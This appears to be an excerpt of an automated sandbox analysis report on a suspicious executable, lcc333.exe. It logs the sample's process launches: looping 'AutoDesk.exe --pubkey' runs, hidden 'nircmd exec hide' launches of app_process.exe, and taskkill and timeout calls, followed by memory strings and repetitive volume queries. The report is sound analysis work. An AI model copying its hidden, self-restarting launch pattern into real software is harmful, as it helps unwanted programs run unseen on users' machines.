Source: C:\Users\user\Desktop\lcc333.exe Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 120 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 120 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 600 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 600 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 5 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Uses taskkill to terminate processes
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe Jump to behavior
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp Binary or memory string: Shell_TrayWnd
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp Binary or memory string: Progman
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp Binary or memory string: progman
Source: nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp Binary or memory string: "Userenv.dllCreateEnvironmentBlockCreateProcessWithLogonWExplorer.exeShell_TrayWndProgmanSetConsoleDisplayModeEnumDisplayDevicesAmasterwaveoutsynthcdmicrophonephoneauxlineheadphoneswaveinaltctrlshiftextplusspcentertabescinsdelDllRegisterServerDllUnregisterServerNirCmdWinClsfolder.loopcountcurrdate.currtime.sys.nir.param.fparam.clipboardNirComLinenowexefilesystemwindowsnircmdcommon_desktopcommon_start_menucommon_programsdesktopstart_menuprogramsstartupappdatalocalappdatacookiesfavoritesrecentcommon_startupcommon_favoritesprogramfilescommon_programfilesmydocumentsnormallowbelownormalabovenormalhighrealtimeSeTcbPrivilegeSeDebugPrivilegenohexnoasciibinCannot find the specified process !Failed to load the process library !leftshiftrightshiftleftctrlrightctrlleftmenurightmenudownupleftrighthomeendinsertdeletecommaminusperiodlwinrwinappspageuppagedownmultiplyaddsubtractseperatordividebackspacepausecapslocknumlockscrollprintscreen#32770clicksettextshowshownahidehideshowflashmaxminsettopmostfocusactivateenabledisabletoggledisabletogglehidetogglemintogglemaxredrawsetsizesendmsgpostmsgcenterchildmovedlgclickdlgsettextdlgsetfocus+style-style+exstyle-exstyletranstitlestitleititleetitleidclassprocessalltopalltopnodesktopprogmanshell_traywndbuttonallFailed to create the shortcut !nircmd.exe %sadmin$\nircmd.exe\\cfocusedsystemsoundsSound Devicesdefault_recordshowerrorparamsfilecmdwaitloopremotecopymultiremoteqboxcomqboxcomtopinfoboxqboxqboxtopexec2execexecmdcmd.execommand.com%s /c %sregsetvalThe specified key is not valid !SZEXPAND_SZDWORDBINARYregdelvalregdelkeyCannot delete the key, because it contains one or more subkeys.regeditinisetvalinidelvalinidelsecrasdialdlginetdialThe dialing function is not available in your system !rasdialUnable to receive dialup information of the specified entry !moverecyclebinemptybinrashangupFailed to hung up this RAS itemCannot find the specified connection name !exitwinlogoffpoweroffrebootshutdownforceforceifhungabortshutdowninitshutdowncmdshortcutcmdshortcutkeyshortcutshexecFailed to execute this file !clonefiletimesetfiletimesetfilefoldertimesetconsolemodeconsolewritesetconsolecolordebugwritesetcursorsetcursorwinrestartexplorersendkeypress+sendkeypresssendmousewheeldblclickmovecursorchangebrightness\\.\LCDsetbrightnesssetprimarydisplaysetdisplaymonitor:-updatereg-allusersFailed to change the display setting !Invalid display values !closeprocessFailed to close the specified process !killprocessFailed to kill the specified process !memdumpserviceUnable to load the services library !stopcontinuestartrestartautomanualdisabledbootwinhandleactiveforegroundlockwsclearsetfilereadfilewritefilewriteufileaddfileaddufilecopyimagesaveimageloadclpsaveclpsetdialuplogonFailed to set the logon details for this dialup item !scriptmediaplayopen "%s" type mpegvideo alias %splay %sclose %surlshortcut%fav%Failed to create the internet shortcut !monitoroffonasync_offasync_onasync_lowscreensaverscreensavertimeoutrunassystemwinlogon.exeruninteractiv
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp Binary or memory string: shell_traywnd
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA9570 cpuid 0_2_00007FF714CA9570
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\certifi VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation Jump to behavior
